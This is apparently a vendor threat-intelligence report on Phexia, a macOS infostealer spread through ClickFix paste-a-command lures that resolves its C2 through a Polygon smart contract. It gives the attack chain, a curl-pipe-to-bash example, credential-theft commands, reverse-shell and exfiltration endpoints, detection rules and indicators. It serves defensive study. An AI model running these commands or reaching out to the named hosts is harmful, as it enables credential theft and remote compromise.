# Phexia macOS Malware Delivered via ClickFix, Using Polygon Smart Contracts (EtherHiding) for C2

> Phexia (aka Essential macOS Stealer) is a modular macOS backdoor and infostealer sold to multiple unattributed operators and delivered through ClickFix lures on typosquatted domains, compromised sites, fake shopping listings and other lures. It persists via a LaunchAgent and, in newer builds, resolves its C2 domain from a Polygon smart contract (EtherHiding).

- **Published:** 2026-11-05T06:22:57Z
- **Last reviewed:** 2026-11-05T06:22:57Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5302
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5302.png
- **ID:** TL-2026-5302
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 30 (3 shown free below)

## Description

Phexia is a modular macOS remote-access and information-stealing malware family, tracked by Red Canary since roughly November 2025 and offered under a malware-as-a-service model to multiple threat actors. Victims reach typosquatted domains, fake shopping listings, compromised legitimate websites (for example a language-test preparation platform serving fake CAPTCHA pages to fingerprinted visitors), fake job-interview flows and malicious browser extensions, and are told to paste a Terminal command to 'verify' themselves (ClickFix). The pasted command typically base64-decodes and pipes a remote shell script (script.sh, update.sh, clear-cache.sh) into bash, e.g. curl -s <url> | bash.

The shell script runs an AppleScript dropper through osascript that writes a user-level LaunchAgent (RunAtLoad and KeepAlive) whose ProgramArguments decode an embedded base64 AppleScript loader and pipe it to osascript. Plist labels were com.<16 random lowercase letters> in June-September builds; October builds switched to com.Apple.<16 letters>, a capitalised 'Apple' that differs from Apple's genuine lowercase namespace. Other analysts observed variants using com.launch.<id> and com.components.<id> labels with a helper directory under ~/Library.

Since May 2026 newer builds use EtherHiding: the loader issues an eth_call with selector 0x2686ecea (getServerURL()) against the Polygon contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 via four public RPC endpoints tried in sequence, and the operator rotates the stored C2 domain with setServerURL() transactions. The contract was deployed on 2026-05-01 and rotated through roughly 18 documented domains (xuiaxwx.com through d9mjs.sbs) at very low cost, which makes DNS-level takedown ineffective. A secondary contract (0x3445...C960) reportedly resolved to dhsbdgs.icu from October 27 per GBHackers. Earlier or alternative variants resolve C2 domains from dead-drop sources such as Telegram and Steam.

After enrolment (campaign ID written to ~/.txid and tccutil reset All executed), the implant polls the C2 about every 60 seconds for tasks: runloader (full stealer smodule), runlight (lighter module without Safari/Notes), openshell (PyInstaller WebSocket reverse-shell agent at /tmp/agent, ws://62.60.226.50:1337/ws/agent, zsh on a PTY) and replacer (fake Ledger app or XMRig). A fake 'System Preferences' dialog loops until dscl . authonly validates the victim's password, which is stored in plaintext in ~/.passphrase; capture attempts begin about 22 hours after infection per GBHackers. The stealer extracts browser Safe Storage secrets via security find-generic-password, browser cookies/logins, LastPass and NordPass extension data, crypto wallets, Telegram tdata, Apple Notes and a copy of login.keychain-db, collects software and system inventory, archives loot with ditto and uploads it by curl to https://<c2>/upload.php, with a fallback to the unencrypted HTTP endpoints 62.60.226.0 and 62.60.226.50. A late-July payload deployed unmodified XMRig 6.26.0 mining to pool.hashvault.pro:443.

Attribution: no operator is established. One researcher suspects APT28 for a related Phexia cluster but marks it unconfirmed; TRUV.IS notes fake-interview lures are consistent at moderate confidence with Contagious Interview tradecraft without claiming attribution. Severity is an analyst assessment. No CVE is involved. The WithSecure Labs research cited by GBHackers could not be fetched directly; details come from GBHackers and the independent reports listed in references.

## MITRE ATT&CK

- T1583.001 Domains
- T1566 Phishing
- T1204.004 Malicious Copy and Paste
- T1059.002 AppleScript
- T1059.004 Unix Shell
- T1543.001 Launch Agent
- T1027.010 Command Obfuscation
- T1140 Deobfuscate/Decode Files or Information
- T1036.005 Match Legitimate Resource Name or Location
- T1056.002 GUI Input Capture
- T1555.001 Keychain
- T1555.003 Credentials from Web Browsers
- T1082 System Information Discovery
- T1518 Software Discovery
- T1005 Data from Local System
- T1560.001 Archive via Utility
- T1102.001 Dead Drop Resolver
- T1071.001 Web Protocols
- T1571 Non-Standard Port
- T1496.001 Compute Hijacking

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Phexia ClickFix - Terminal Paste-and-Run Remote Script Piped To Shell (TL-2026-5302)** (`TL-2026-5302-SPL-001`)

Behavioural detection for Phexia / Essential macOS Stealer ClickFix delivery: shell command lines that fetch a remote script (script.sh, update.sh, clear-cache.sh) with curl and pipe it into bash/zsh, base64-decode a payload into a shell or osascript, use curl with a spoofed 'Mac OS X 10_15_7' user agent, or reference known Phexia delivery/C2 domains and the 62.60.226.0 / 62.60.226.50 fallback hosts. Aligns with T1204.004 (malicious copy and paste).

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1059.004, T1140, T1027.010, T1566
- **Data sources:** osquery_process_events, microsoft_defender_for_endpoint_macos, macos_endpoint_security
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=macos sourcetype="osquery:results" earliest=-24h columns.cmdline=*
| eval cmd=lower('columns.cmdline'), exe=lower('columns.path'), user=coalesce('columns.username',"unknown")
| eval pipe_to_shell=if(match(cmd,"(curl|wget)\s.*\|\s*(/bin/)?(ba|z)?sh"),1,0)
| eval b64_to_exec=if(match(cmd,"base64\s+(-d|--decode)") AND match(cmd,"\|\s*(/bin/)?(ba|z)?sh|osascript"),1,0)
| eval spoofed_ua=if(match(cmd,"curl\s.*-a\s+.?mac os x 10_15_7"),1,0)
| eval stage_script=if(match(cmd,"(script|update|clear-cache)[.]sh"),1,0)
| eval phexia_ioc=if(match(cmd,"hf98x4d[.]site|apdhlhs3[.]xyz|j9af4sr[.]guru|d9mjs[.]sbs|dhsbdgs[.]icu|xuiaxwx[.]com|sj98xe4[.]xyz|67sixcebeh[.]surf|citcix6[.]xyz|okekjaiw[.]click|x2db[.]cx|gl1nto[.]spiintforge[.]ru|hackersteersman[.]digital|coeuzgoq[.]bahisbiz[.]com|kefavkd[.]nextbahis[.]sex|fbuytf67[.]click|gesck4m[.]pro|smdh7[.]surf|8jdjpwka[.]baby|a5db[.]ch|62[.]60[.]226[.](0|50)|146[.]103[.]98[.]59"),1,0)
| where phexia_ioc=1 OR (b64_to_exec=1 AND match(cmd,"curl|wget")) OR (pipe_to_shell=1 AND (spoofed_ua=1 OR stage_script=1))
| stats count min(_time) as first_seen max(_time) as last_seen values(cmd) as commands max(phexia_ioc) as ioc_match by host, user
| convert ctime(first_seen) ctime(last_seen)
| table host user first_seen last_seen count ioc_match commands
```

### Microsoft KQL

```kql
let PhexiaIndicators = dynamic(["hf98x4d.site", "apdhlhs3.xyz", "j9af4sr.guru", "d9mjs.sbs", "dhsbdgs.icu", "xuiaxwx.com", "sj98xe4.xyz", "67sixcebeh.surf", "citcix6.xyz", "okekjaiw.click", "x2db.cx", "gl1nto.spiintforge.ru", "hackersteersman.digital", "coeuzgoq.bahisbiz.com", "kefavkd.nextbahis.sex", "fbuytf67.click", "gesck4m.pro", "smdh7.surf", "8jdjpwka.baby", "a5db.ch", "62.60.226.50", "62.60.226.0", "146.103.98.59"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where OSPlatform =~ "macOS"
| where FileName in~ ("bash", "zsh", "sh", "curl", "base64", "osascript")
| extend Cmd = tolower(ProcessCommandLine)
| extend PipeToShell = Cmd matches regex @"(curl|wget)\s.*\|\s*(/bin/)?(ba|z)?sh",
         Base64Exec = Cmd matches regex @"base64\s+(-d|--decode)" and Cmd matches regex @"\|\s*(/bin/)?(ba|z)?sh|osascript",
         SpoofedUA = Cmd matches regex @"curl\s.*-a\s+.?mac os x 10_15_7",
         StageScript = Cmd matches regex @"(script|update|clear-cache)\.sh",
         IocHit = Cmd has_any (PhexiaIndicators)
| where IocHit or (Base64Exec and Cmd has_any ("curl", "wget")) or (PipeToShell and (SpoofedUA or StageScript))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, IocHit, PipeToShell, Base64Exec, SpoofedUA
| order by Timestamp desc
```

### Sigma

```yaml
title: Phexia ClickFix Terminal Paste Remote Script Piped To Shell On macOS
id: 3b7c1e52-8d4a-4f6e-9a21-5c0e7d9b1a01
status: experimental
description: Detects the ClickFix paste-and-run command used to deliver Phexia (Essential macOS Stealer), a base64-decoded or curl-fetched remote script piped into bash or zsh, curl with a spoofed Mac OS X user agent, or references to known Phexia infrastructure.
references:
  - https://gbhackers.com/phexia-malware-attack/
  - https://tti.truv.is/reports/TT-20260927-37-polygon-contract-macos-clickfix-essential-stealer-phexia.html
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-05
tags:
  - attack.initial-access
  - attack.t1566
  - attack.execution
  - attack.t1204.004
  - attack.t1059.004
  - attack.defense-evasion
  - attack.t1140
  - attack.t1027.010
logsource:
  product: macos
  category: process_creation
detection:
    selection_b64_pipe:
        CommandLine|contains|all:
            - 'base64'
            - 'curl'
        CommandLine|contains:
            - '| bash'
            - '|bash'
            - '| zsh'
            - '|zsh'
            - '| sh'
    selection_spoofed_ua:
        Image|endswith: '/curl'
        CommandLine|contains|all:
            - 'Mac OS X 10_15_7'
            - '-fsSL'
    selection_stage_script:
        CommandLine|contains|all:
            - 'curl'
            - '| bash'
        CommandLine|re: '(script|update|clear-cache)\.sh'
    selection_ioc:
        CommandLine|contains:
            - 'hf98x4d.site'
            - 'apdhlhs3.xyz'
            - 'j9af4sr.guru'
            - 'd9mjs.sbs'
            - 'dhsbdgs.icu'
            - 'xuiaxwx.com'
            - 'sj98xe4.xyz'
            - '67sixcebeh.surf'
            - 'citcix6.xyz'
            - 'okekjaiw.click'
            - 'x2db.cx'
            - 'gl1nto.spiintforge.ru'
            - 'hackersteersman.digital'
            - 'coeuzgoq.bahisbiz.com'
            - 'kefavkd.nextbahis.sex'
            - '62.60.226.50'
            - '62.60.226.0'
            - '146.103.98.59'
    condition: 1 of selection_*
falsepositives:
  - Developers installing tools with curl-pipe-bash one-liners such as package manager bootstrap scripts
  - IT automation that base64-decodes configuration into a shell
level: high
```

**Known false positives:**

- Developers or admins running curl-pipe-bash installers (Homebrew, rustup, nvm) from Terminal
- Provisioning scripts that base64-decode configuration before piping to a shell

**Tuning notes:** Allow-list known installer hosts (brew.sh, sh.rustup.rs) and MDM/management agent parent processes. The phexia_ioc flag is high fidelity; the behavioural branches are medium. osquery records each pipeline stage as a separate process, so enable shell -c command-line capture or Endpoint Security events for full coverage. Refresh the domain list from TL-2026-5302 IOCs; community-observed siblings (fbuytf67.click, gesck4m.pro, smdh7.surf, 8jdjpwka.baby, a5db.ch) are corroboration-tier.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Phexia Fake Password Prompt - dscl authonly Validation, [indicator] and tccutil Reset (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia Stealer - Keychain, Browser Safe Storage and Wallet Data Collection (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia Loot Archive and Exfiltration - ditto Archive, curl upload.php, Fallback C2 IPs (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia AppleScript Dropper - Base64 osascript Loader and Random LaunchAgent Load (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia openshell - /tmp/agent WebSocket Reverse Shell and Payload Hashes (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia C2, Delivery Domains and XMRig Pool Network Connections (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia LaunchAgent Persistence - Masquerading com.Apple Random-Label Plist and Base64 osascript Loader (TL-2026-5302) (locked: unlock with TL Creds)
- Phexia EtherHiding - Polygon Contract C2 Resolution From Non-Browser Process (TL-2026-5302) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 30)

Defanged, TLP:CLEAR.

- IP address: `62.60.226[.]50`
- Domain: `hf98x4d[.]site`
- File hash: `a6d43a45de8a7423833fa990d5b88950f68054827806910e7196c04a67b2d271`

Full set of 30 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Hackers Use ClickFix Tricks to Infect Macs With Phexia Malware That Hides Through Blockchain Infrastructure](https://gbhackers.com/phexia-malware-attack/)
- [Polygon-contract macOS ClickFix crimekit delivers the Essential macOS Stealer (Phexia) modules - TT-20260927-37](https://tti.truv.is/reports/TT-20260927-37-polygon-contract-macos-clickfix-essential-stealer-phexia.html)
- [A Fourth Door: Compromised Legitimate Sites in the Polygon EtherHiding macOS Campaign](https://bugrasahinoglu.com/posts/clickfix-etherhiding-macos/)
- [Malware Insights: MacOS Phexia Campaign](https://cookie.engineer/weblog/articles/malware-insights-macos-phexia-campaign.html)
- [Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding (NetByteSec)](https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html)
- [AlienVault OTX/OffSeq mirror: Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding](https://radar.offseq.com/threat/anatomy-of-a-macos-clickfix-crimekit-that-weaponises-etherhiding-9864ed0888d668fe)
- [ClickFix campaign uses fake macOS utilities lures to deliver infostealers (Microsoft Security Blog)](https://www.microsoft.com/en-us/security/blog/2026/05/06/clickfix-campaign-uses-fake-macos-utilities-lures-deliver-infostealers/)
- [Phexia Stealer (Mac) - Removal steps, and macOS cleanup](https://www.pcrisk.com/removal-guides/34957-phexia-stealer-mac)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5302